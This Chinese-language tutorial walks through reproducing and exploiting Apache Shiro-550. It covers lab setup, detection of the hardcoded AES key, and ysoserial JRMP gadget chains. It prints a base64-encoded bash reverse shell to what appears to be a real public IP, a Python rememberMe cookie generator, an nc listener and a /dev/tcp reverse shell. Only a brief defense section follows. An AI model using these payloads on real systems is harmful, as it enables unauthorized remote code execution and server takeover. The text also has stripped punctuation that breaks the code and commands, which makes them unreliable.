)
Java反序列化漏洞实战从Shiro-550漏洞复现到深度利用在安全研究领域Java反序列化漏洞因其广泛影响面和潜在危害性一直备受关注。本文将带您从零开始通过一个典型的Shiro-550漏洞案例完整演示如何搭建实验环境、检测漏洞、构造利用链最终实现远程代码执行。不同于简单的概念讲解我们更注重实战操作中的细节处理包括VPS配置、Payload生成技巧以及可能遇到的各种坑的解决方案。1. 环境准备与漏洞原理1.1 实验环境搭建为了安全地进行漏洞复现建议使用隔离的云服务器环境。以下是基于Docker的快速搭建方案# 拉取漏洞环境镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器映射8080端口 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1验证环境是否正常运行访问http://your-server-ip:8080应看到Shiro的默认登录页面提示实际渗透测试中请确保获得系统所有者授权本文仅用于教育目的。1.2 Shiro-550漏洞核心原理Apache Shiro框架的RememberMe功能存在设计缺陷使用硬编码的AES加密密钥默认kPHbIxk5D2deZiIxcaaaA对RememberMe cookie值执行以下处理流程Base64解码AES解密反序列化解密后的数据漏洞利用链的关键节点环节技术点风险点Cookie构造恶意序列化对象生成需要正确的AES密钥网络传输Base64编码处理特殊字符转义问题服务端处理Java原生反序列化可利用的gadget链2. 漏洞检测与利用准备2.1 指纹识别与密钥检测识别Shiro框架的简单方法在请求Cookie中添加rememberMe1检查响应中是否包含Set-Cookie: rememberMedeleteMe使用自动化工具检测默认密钥git clone https://github.com/insightglacier/Shiro_exploit cd Shiro_exploit pip install pycryptodome python shiro_exploit.py -u http://target:8080常见检测结果分析有效密钥工具会显示可用的默认密钥无漏洞可能原因包括密钥已修改版本已修复网络策略限制2.2 攻击面准备需要准备的两台服务器角色攻击机VPS公网IP地址开放两个端口9999接收反弹Shell6666JRMP监听靶机运行存在漏洞的Shiro应用能与攻击机建立网络连接网络配置检查清单安全组规则放行相关端口防火墙设置临时关闭或添加规则网络可达性测试使用ping/telnet3. 利用链构造与Payload生成3.1 ysoserial工具链使用下载并编译ysoserialgit clone https://github.com/frohoff/ysoserial cd ysoserial mvn package -DskipTests常用gadget对比Gadget名称适用场景依赖条件CommonsCollections大部分Java环境CC库存在JRMPClient需要二次反序列化网络可达JNDI高版本JDK受限JNDI注入点3.2 分阶段Payload构造阶段一建立JRMP监听java -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 \ bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}阶段二生成RememberMe Cookieimport sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen subprocess.Popen( [java, -jar, ysoserial.jar, JRMPClient, command], stdoutsubprocess.PIPE) BS AES.block_size pad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv uuid.uuid4().bytes encryptor AES.new(key, AES.MODE_CBC, iv) file_body pad(popen.stdout.read()) base64_ciphertext base64.b64encode(iv encryptor.encrypt(file_body)) return base64_ciphertext if __name__ __main__: payload encode_rememberme(sys.argv[1]) print(rememberMe{0}.format(payload.decode()))执行脚本生成最终Payloadpython2 exp.py your-vps-ip:66664. 漏洞利用与后渗透4.1 完整攻击流程在VPS上启动Netcat监听nc -lvnp 9999构造HTTP请求使用Burp或cURLGET / HTTP/1.1 Host: target:8080 Cookie: rememberMe...生成的Payload...观察网络连接状态应先建立到6666端口的JRMP连接随后建立到9999端口的Shell连接4.2 常见问题排查问题1Payload发送后无响应检查VPS防火墙设置验证靶机出站网络策略尝试简化Payload如执行ping命令测试问题2收到连接但立即断开检查命令中的重定向符号转义确认Base64编码正确性尝试不同gadget链问题3执行权限受限尝试使用其他命令注入方式bash -i /dev/tcp/your-vps-ip/9999 014.3 防御建议对于企业防御方建议采取以下措施立即行动项升级Shiro到最新版本修改默认加密密钥禁用不必要的反序列化功能长期加固方案实施Java安全管理器策略部署RASP防护建立反序列化白名单机制在漏洞研究过程中我深刻体会到防御的复杂性——即使是一个简单的硬编码密钥问题也可能导致整个应用沦陷。建议开发者在设计安全敏感功能时始终遵循最小权限原则并定期进行安全审计。